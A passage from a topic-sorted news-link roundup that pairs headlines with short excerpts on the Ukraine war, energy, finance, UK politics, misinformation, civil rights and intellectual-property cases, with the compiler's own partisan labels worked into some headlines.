and_unlawfully_deported_Ukrainian_children⠀⇛ Today, representatives of the European Union together with Ukraine and Canada hosted a ‘High-level Meeting of the International Coalition for the Return of Ukrainian Children'. This initiative was announced by European Commission President, Ursula von der Leyen, in her 2025 State of the Union address. # ⚓ France24 ☛ Ukraine_and_Russia_fight_on_despite_US- mediated_ceasefire⠀⇛ Russia ​and Ukraine on Monday reported fighting along their long front line despite a US-mediated ceasefire, and each accused the other of launching drone and artillery strikes. Ukraine and Russia agreed on Friday to a ​ceasefire from ‌May 9 to May 11 as part of a US-led push ⁠for peace under President The Insurrectionist after more than four years of war following Russia's full-scale invasion in 2022. FRANCE 24's International Affairs Editor Kethevane Gorjestani tells us more. # ⚓ LRT ☛ Ukraine_intelligence_chief_Budanov_visits Lithuania_for_security_meetings⠀⇛ Kyrylo Budanov, the head of Ukraine’s military intelligence, is visiting Lithuania on Monday for meetings with Lithuanian officials, 15min.lt reported. # ⚓ RFERL ☛ Former_Head_Of_Zelenskyy's_Office_Under Suspicion_In_Major_Ukrainian_Investigation⠀⇛ Andriy Yermak, the former chief of staff of Ukrainian President Volodymyr Zelenskyy, is under suspicion as part of a major money laundering investigation by the country's National Anti-Corruption Bureau (NABU) and the Specialized Anti-Corruption Prosecutor's Office (SAPO). # ⚓ New York Times ☛ Former_Top_Zelensky_Aide_Is_Accused in_Corruption_Inquiry⠀⇛ Ukrainian news outlets named the suspect as Andriy Yermak, who resigned last year amid a sweeping scandal. # ⚓ CS Monitor ☛ As_Russia_pushes_spring_offensive,_shift on_battlefield_buoys_Ukrainians⠀⇛ Russia is no longer making major battlefield gains. If anything, it’s been Ukraine, aided by its technological prowess, taking back small pieces of territory. After a punishing winter, Ukraine is in a surprisingly encouraging place. # ⚓ New York Times ☛ Ukraine_Looks_to_Step_Away_From Convicted_Felon_and_U.S.⠀⇛ With peace talks on ice and Ukraine now more self-reliant, President Volodymyr Zelensky seems to be stepping away from the United States. o § Environment⠀➾ # § Energy/Transportation⠀➾ # ⚓ Bridge Michigan ☛ Opinion_|_We_can_prevent_an_oil spill_in_the_Straits_of_Mackinac⠀⇛ The pattern is brutally clear: when anchors and pipelines meet, the pipeline loses — and the water pays the price. The public health, economic and ecological consequences of a Line 5 failure would be profound. # ⚓ The Straits Times ☛ How_rising_diesel_prices_from Iran_conflict_have_slowed_down_a_once-booming_sector_in Malaysia⠀⇛ Some contractors have halted work as rising costs make construction projects no longer profitable. # ⚓ Futurism ☛ New_Data_Center_Equivalent_to_Setting_Off 23_Nuclear_Bombs_Per_Day,_Professor_Finds⠀⇛ Unfathomable. # ⚓ Latvia ☛ Lux_Express_sues_Latvian_transport authorities_over_delayed_payments⠀⇛ The passenger transport company "Lux Express Latvia" has filed a lawsuit in the Administrative District Court against the Ministry of Transport and the Road Transport Directorate, Latvian Radio reports on 11th May. # ⚓ Hong Kong Free Press ☛ Malaysia_Airlines_flight bursts_tyre_at_Hong_Kong_airport;_no_injuries reported⠀⇛ A Malaysia Airlines flight burst a tyre on Monday after aborting take-off at Hong Kong International Airport due to “technical issues,” but no injuries were reported. The Airport Authority (AA) said the tyre burst occurred at around 9.18am on Monday. # ⚓ Hong Kong Free Press ☛ KLN_Logistics-branded_truck spotted_refuelling_at_alleged_illegal_site_despite crackdown⠀⇛ KLN Logistics has told HKFP that a vehicle bearing the firm’s logo, which was spotted filling up at an alleged illegal fuelling site in Kwai Chung last week, was operated by a subcontractor. # § Wildlife/Nature⠀➾ # ⚓ The Straits Times ☛ Lovebugs_to_swarm_South_Korea earlier_and_in_large_numbers_in_2026;_Seoul_to_test rose-scented_traps⠀⇛ Lovebugs are expected to reach adulthood en masse in South Korea between June 15 and 29. # ⚓ The Straits Times ☛ Farmers_in_Malaysia_go_high-tech to_fight_fake_Penang_durians⠀⇛ A QR code tracking system allows buyers to trace each fruit orchard within seconds. # § Overpopulation⠀➾ # ⚓ The Straits Times ☛ China’s_marriages_drop_to_decade low,_deepening_demographic_concerns⠀⇛ The figures are the latest sign of China’s deepening demographic challenges. o § Finance⠀➾ # ⚓ CS Monitor ☛ Stocks_might_be_soaring,_but_US_economy_is feeling_Iran_war_shocks⠀⇛ The Iran war has degraded Iran’s military strength, but the conflict has imposed high economic costs on the U.S., where consumers are feeling squeezed. # ⚓ Xe's Blog ☛ I'm_really_frustrated_that_GitLab_is_doing layoffs⠀⇛ Winning at this could have been so easy # ⚓ Science Alert ☛ Giant_11,000-Carat_Ruby_Found_in_Myanmar Could_Be_Worth_a_Fortune⠀⇛ "Exceptionally large, rare, and difficult to find." # ⚓ Bridge Michigan ☛ Michigan_loaned_$35M_to_mobility_center. Debt_could_cripple_it,_boosters_say⠀⇛ Amid a backlash against public subsidies, Michigan seeks repayment of loan for autonomous testing site. Activists say the nonprofit is doing vital work to keep Michigan competitive. # ⚓ Hong Kong Free Press ☛ China’s_consumer_prices_rise_on_Iran war_oil_squeeze⠀⇛ China’s consumer prices ticked up in April as the cost of crude oil rose globally due to the Iran war, official data showed on Monday. Helped by the surging oil costs, factory gate prices also continued to show signs of recovery, rising for a second straight month after being stuck in negative territory since October […] # ⚓ LRT ☛ National_stadium_costs_will_not_increase,_Vilnius mayor_assures⠀⇛ Vilnius Mayor Valdas Benkunskas said Monday that neither the government’s nor the municipality’s financial commitments to the long-delayed national stadium project will increase, rejecting suggestions that the Education, Science and Sports Ministry is seeking to reduce its contribution. o § AstroTurf/Lobbying/Politics⠀➾ # ⚓ New York Times ☛ Pressure_on_Starmer_Mounts_as_Dozens_of Labour_Lawmakers_Call_on_Him_to_Quit⠀⇛ The chances of a leadership challenge against Prime Minister Keir Starmer appeared to rise sharply on Monday as several government aides announced their resignations. # § Misinformation/Disinformation/Propaganda⠀➾ # ⚓ France24 ☛ ‘Plandemic,_Covid_2.0’:_Fact-checking viral_conspiracy_theories_about_Hantavirus⠀⇛ As the world saw with COVID-19, the only thing that spreads faster than a virus is misinformation, and Hantavirus is no exception. Despite only a few confirmed cases, conspiracy theories have swirled on social control media falsely claiming Hantavirus is a planned pandemic, or a ploy to disrupt the US midterm elections. Others alleged it's a "bioweapon" created by big pharma  to “poison” people or even that it's a side effect of the Pfizer COVID-19 vaccine. # ⚓ Science Alert ☛ Scientists_Destroy_COVID_And_Flu Viruses_in_The_Lab_With_Sound_Waves⠀⇛ They just explode. o § Censorship/Free Speech⠀➾ # ⚓ The Straits Times ☛ ‘Two_husbands’_ad_no_joking_matter_for China’s_authorities⠀⇛ Officials warned brands against riling up people’s emotions to win customers. o § Freedom of Information / Freedom of the Press⠀➾ # ⚓ Press Gazette ☛ Former_CNN_host_Don_Lemon_on_turning_a profit_with_his_five-person_media_network⠀⇛ Lemon says audience will pay for authenticity which is missing from corporate media. o § Civil Rights / Policing / Accessibility⠀➾ # ⚓ Hong Kong Free Press ☛ Hong_Kong_gov’t_declines_comment_on wanted_activist’s_possible_deportation_from_Thailand_to China⠀⇛ Hong Kong authorities have declined to comment on reports that an activist wanted by the city’s national security police could face deportation to China after being arrested in Thailand for allegedly overstaying her visa. # ⚓ Hong Kong Free Press ☛ Meta_removes_fake_INTERPOL_ads targeting_Hong_Kong_scam_victims⠀⇛ Meta has removed a series of scam ads impersonating the International Criminal Police Organization (INTERPOL) following HKFP’s enquiries. The ads, targeting Hongkongers, appeared for weeks on Facebook. They urged users to get in touch with the global policing body if they wished to retrieve funds previously lost to scams – however, the ads were fraudulent. o § Internet Policy/Net Neutrality⠀➾ # ⚓ Zimbabwe ☛ WhatsApp_Alone_Now_Equals_Zimbabwe’s_Entire_2022 Internet⠀⇛ Three years ago, Zimbabwe’s entire mobile internet ecosystem used roughly the same amount of data that WhatsApp alone uses today. That’s according to the latest POTRAZ figures. In this video, we break down: The numbers are crazy. o § Digital Restrictions (DRM)⠀➾ # ⚓ Right to Repair ☛ Hackers,_Forklifts,_and_Other_Things Manufacturers_Blame_on_Repair⠀⇛ When lawmakers consider Right to Repair, manufacturers and their trade groups usually show up with the same script. They support repair, of course. They support consumer choice, naturally. They support small businesses, safety, sustainability, affordability, resilience, and probably puppies. They just oppose the actual law that would make repair possible. o § Monopolies/Monopsonies⠀➾ # § Patents⠀➾ # ⚓ Dennis Crouch/Patently-O ☛ Prior_Art_Rejection_Rates in_Design_Patent_Prosecution⠀⇛ New disposal-based data on Hague design applications shows §103 rejection rates remain near 1% despite LKQ, with a post- decision dip before modest recovery. # ⚓ JUVE ☛ AMI_fails_to_secure_ban_on_Martin-Baker’s ejection_seats_for_fighter_jets⠀⇛ With increasing armed conflict around the world and rising military spending, military technology is once again coming into the public spotlight. For example, two of the world’s largest manufacturers of ejection seats are currently battling it out at the UK High Court. # § Software Patents⠀➾ # ⚓ Unified Patents ☛ Malikie_video_codec_patent monopoly_challenged⠀⇛ On May 2, 2025, Unified filed an ex parte reexamination proceeding against U.S._Patent_10,778,989, another patent monopoly owned by Malikie Innovations Limited, an NPE and entity of Key Patent_Innovations_Limited. The ‘989 patent, formerly assigned to Blackberry Ltd., relates to a rolling intra prediction video codec method based on the H.264/AVC/HEVC standards. Malikie Innovations has filed several other litigations funded by Key_Patent Innovations_Limited against networking communications, apps, and Wi-Fi devices. # § Trademarks⠀➾ # § Right of Publicity⠀➾ # ⚓ Jonathan Faber ☛ Samsung_sued_by_Dua_Lipa. Similarities_to_Pele’s_lawsuit_against_Samsung?⠀⇛ As news broke of Dua Lipa’s $15 million lawsuit against Samsung, I was reminded of Pele’s $30 million lawsuit also against Samsung. Pele sues Samsung Based on reporting, it appears Dua Lipa also owns the copyright monopoly to the photograph Samsung used on its packaging. # § Copyrights⠀➾ # ⚓ Digital Music News ☛ Jason_Derulo,_Sony_Music_Triumph in_Heated_‘Savage_Love’_Copyright_Infringement Lawsuit⠀⇛ A federal jury ruled in favor of Jason Derulo in a copyright monopoly dispute filed against him and Sony Music over his hit “Savage Love (Laxed – Siren Beat).” * IBM_Falls_to_One-year_Low * Gemini_Links_12/05/2026:_Spring_Cleaning_and_New_GemText_Software ╘══════════════════════════════════════════════════════════════════════════════╛ ¶ Lines in total: 8561 ➮ Generation completed at 02:49, i.e. 22 seconds to (re)generate ⟲